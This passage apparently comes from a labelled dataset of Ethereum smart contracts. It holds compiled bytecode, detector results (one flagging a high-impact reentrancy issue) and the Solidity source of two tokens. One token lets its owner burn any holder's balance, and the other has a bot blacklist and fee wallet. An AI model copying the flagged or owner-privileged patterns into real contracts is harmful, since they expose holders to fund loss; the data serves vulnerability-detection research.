06101000a900460ff161580156112925750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112aa5750600860169054906101000a900460ff165b156112da576112c06112bb30610510565b61134f565b600047905060008111156112d8576112d747611645565b5b505b5b6112e68383836116b1565b505050565b6000838311158290611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a9190611dec565b60405180910390fd5b506000838561134291906126cb565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611387576113866126ff565b5b6040519080825280602002602001820160405280156113b55781602001602082028036833780820191505090505b50905030816000815181106113cd576113cc61272e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146f57600080fd5b505afa158015611483573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a79190612155565b816001815181106114bb576114ba61272e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061152230600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161158695949392919061281b565b600060405180830381600087803b1580156115a057600080fd5b505af11580156115b4573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b600060035482111561161e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611615906128e7565b60405180910390fd5b60006116286116c1565b905061163d81846116ec90919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116ad573d6000803e3d6000fd5b5050565b6116bc838383611736565b505050565b60008060006116ce611901565b915091506116e581836116ec90919063ffffffff16565b9250505090565b600061172e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611954565b905092915050565b600080600080600080611748876119b7565b9550955095509550955095506117a686600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183b85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188781611ac4565b6118918483611b81565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118ee9190611f2c565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca00905061192d633b9aca006003546116ec90919063ffffffff16565b82101561194757600354633b9aca00935093505050611950565b81819350935050505b9091565b6000808311829061199b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119929190611dec565b60405180910390fd5b50600083856119aa9190612936565b9050809150509392505050565b60008060008060008060008060006119d18a600654611bbb565b92509250925060006119e16116c1565b905060008060006119f48e878787611c4f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112eb565b905092915050565b6000808284611a759190612967565b905083811015611aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab190612a09565b60405180910390fd5b8091505092915050565b6000611ace6116c1565b90506000611ae58284611cd890919063ffffffff16565b9050611b3981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b9682600354611a1c90919063ffffffff16565b600381905550611bb181600454611a6690919063ffffffff16565b6004819055505050565b600080600080611be76064611bd98789611cd890919063ffffffff16565b6116ec90919063ffffffff16565b90506000611c116064611c03888a611cd890919063ffffffff16565b6116ec90919063ffffffff16565b90506000611c3a82611c2c858b611a1c90919063ffffffff16565b611a1c90919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c688589611cd890919063ffffffff16565b90506000611c7f8689611cd890919063ffffffff16565b90506000611c968789611cd890919063ffffffff16565b90506000611cbf82611cb18587611a1c90919063ffffffff16565b611a1c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ceb5760009050611d4d565b60008284611cf99190612671565b9050828482611d089190612936565b14611d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3f90612a9b565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d8d578082015181840152602081019050611d72565b83811115611d9c576000848401525b50505050565b6000601f19601f8301169050919050565b6000611dbe82611d53565b611dc88185611d5e565b9350611dd8818560208601611d6f565b611de181611da2565b840191505092915050565b60006020820190508181036000830152611e068184611db3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3e82611e13565b9050919050565b611e4e81611e33565b8114611e5957600080fd5b50565b600081359050611e6b81611e45565b92915050565b6000819050919050565b611e8481611e71565b8114611e8f57600080fd5b50565b600081359050611ea181611e7b565b92915050565b60008060408385031215611ebe57611ebd611e0e565b5b6000611ecc85828601611e5c565b9250506020611edd85828601611e92565b9150509250929050565b60008115159050919050565b611efc81611ee7565b82525050565b6000602082019050611f176000830184611ef3565b92915050565b611f2681611e71565b82525050565b6000602082019050611f416000830184611f1d565b92915050565b600080600060608486031215611f6057611f5f611e0e565b5b6000611f6e86828701611e5c565b9350506020611f7f86828701611e5c565b9250506040611f9086828701611e92565b9150509250925092565b600060ff82169050919050565b611fb081611f9a565b82525050565b6000602082019050611fcb6000830184611fa7565b92915050565b600060208284031215611fe757611fe6611e0e565b5b6000611ff584828501611e5c565b91505092915050565b61200781611e33565b82525050565b60006020820190506120226000830184611ffe565b92915050565b6000806040838503121561203f5761203e611e0e565b5b600061204d85828601611e5c565b925050602061205e85828601611e5c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061209e602083611d5e565b91506120a982612068565b602082019050919050565b600060208201905081810360008301526120cd81612091565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061210a601783611d5e565b9150612115826120d4565b602082019050919050565b60006020820190508181036000830152612139816120fd565b9050919050565b60008151905061214f81611e45565b92915050565b60006020828403121561216b5761216a611e0e565b5b600061217984828501612140565b91505092915050565b60006040820190506121976000830185611ffe565b6121a46020830184611ffe565b9392505050565b6000819050919050565b6000819050919050565b60006121da6121d56121d0846121ab565b6121b5565b611e71565b9050919050565b6121ea816121bf565b82525050565b600060c0820190506122056000830189611ffe565b6122126020830188611f1d565b61221f60408301876121e1565b61222c60608301866121e1565b6122396080830185611ffe565b61224660a0830184611f1d565b979650505050505050565b60008151905061226081611e7b565b92915050565b60008060006060848603121561227f5761227e611e0e565b5b600061228d86828701612251565b935050602061229e86828701612251565b92505060406122af86828701612251565b9150509250925092565b60006040820190506122ce6000830185611ffe565b6122db6020830184611f1d565b9392505050565b6122eb81611ee7565b81146122f657600080fd5b50565b600081519050612308816122e2565b92915050565b60006020828403121561232457612323611e0e565b5b6000612332848285016122f9565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612397602483611d5e565b91506123a28261233b565b604082019050919050565b600060208201905081810360008301526123c68161238a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612429602283611d5e565b9150612434826123cd565b604082019050919050565b600060208201905081810360008301526124588161241c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124bb602583611d5e565b91506124c68261245f565b604082019050919050565b600060208201905081810360008301526124ea816124ae565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061254d602383611d5e565b9150612558826124f1565b604082019050919050565b6000602082019050818103600083015261257c81612540565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006125df602983611d5e565b91506125ea82612583565b604082019050919050565b6000602082019050818103600083015261260e816125d2565b9050919050565b60006020828403121561262b5761262a611e0e565b5b600061263984828501612251565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061267c82611e71565b915061268783611e71565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126c0576126bf612642565b5b828202905092915050565b60006126d682611e71565b91506126e183611e71565b9250828210156126f4576126f3612642565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61279281611e33565b82525050565b60006127a48383612789565b60208301905092915050565b6000602082019050919050565b60006127c88261275d565b6127d28185612768565b93506127dd83612779565b8060005b8381101561280e5781516127f58882612798565b9750612800836127b0565b9250506001810190506127e1565b5085935050505092915050565b600060a0820190506128306000830188611f1d565b61283d60208301876121e1565b818103604083015261284f81866127bd565b905061285e6060830185611ffe565b61286b6080830184611f1d565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006128d1602a83611d5e565b91506128dc82612875565b604082019050919050565b60006020820190508181036000830152612900816128c4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061294182611e71565b915061294c83611e71565b92508261295c5761295b612907565b5b828204905092915050565b600061297282611e71565b915061297d83611e71565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129b2576129b1612642565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129f3601b83611d5e565b91506129fe826129bd565b602082019050919050565b60006020820190508181036000830152612a22816129e6565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a85602183611d5e565b9150612a9082612a29565b604082019050919050565b60006020820190508181036000830152612ab481612a78565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ccf1ce09db1774a5c653bdeac1ad72aa387a7e1a1f4b4aeb559d76c04efeb1764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,439
0xffce9774ec6d4014bb256240a06abcc1200e6c0a
pragma solidity 0.6.10; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: UNLICENSED // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract Isshiki is ERC20, Ownable { constructor () public ERC20 ("Isshiki", "otsutsuki", 18) { _mint(msg.sender, 10000000E18); } /** * @dev Mint new tokens, increasing the total supply and balance of "account" * Can only be called by the current owner. */ function mint(address account, uint256 value) public onlyOwner { _mint(account, value); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a61059d565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a6565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610654565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106bf565b6102886106da565b6102c0610787565b604080516001600160a01b039092168252519081900360200190f35b61010d61079b565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107fc565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610863565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356108ac565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108c2565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108ed565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b0383166000908152600160209081526040808320338452909152812054610508908363ffffffff610a0f16565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a24565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff6109f616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61065c610aef565b60055461010090046001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610af3565b5050565b6001600160a01b031660009081526020819052604090205490565b6106e2610aef565b60055461010090046001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610804610aef565b60055461010090046001600160a01b03908116911614610859576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610b9b565b60006001600160a01b03831661087857600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff610a0f16565b60006108b9338484610a24565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108f5610aef565b60055461010090046001600160a01b0390811691161461094a576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6001600160a01b03811661098f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c436026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a0857600080fd5b9392505050565b600082821115610a1e57600080fd5b50900390565b6001600160a01b038216610a3757600080fd5b6001600160a01b038316600090815260208190526040902054610a60908263ffffffff610a0f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a95908263ffffffff6109f616565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b0657600080fd5b600254610b19908263ffffffff6109f616565b6002556001600160a01b038216600090815260208190526040902054610b45908263ffffffff6109f616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610bae57600080fd5b600254610bc1908263ffffffff610a0f16565b6002556001600160a01b038216600090815260208190526040902054610bed908263ffffffff610a0f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220943cb9a5e6b21920f33b3c07cf049bfb0562cb9f510ccfee9871051aafeeb79264736f6c634300060a0033
{"success": true, "error": null, "results": {}}
5,440
0x7553a046b9b4fddc0a86ea68c27ca516673540d5
/** *Submitted for verification at Etherscan.io on 2022-04-17 */ /** _________.__ .__ ___. __ / _____/| |__ |__|\_ |__ _____ ____ ____ | | __ \_____ \ | | \ | | | __ \ / \ / _ \ / \ | |/ / / \| Y \| | | \_\ \| Y Y \( <_> )| | \| < /_______ /|___| /|__| |___ /|__|_| / \____/ |___| /|__|_ \ \/ \/ \/ \/ \/ \/ Shibmonk ✅ Website : https://www.shibmonketh.com/ ✅ Telegram : https://t.me/shibmonkofficialgroup ✅ Twitter: https://twitter.com/shibmonketh Total supply: 1,000,000,000,000 MaxBuy: 20,000,000,000 MaxWallet: 35,000,000,000 */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Shibmonk is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Shibmonk"; string private constant _symbol = "Shibmonk"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private 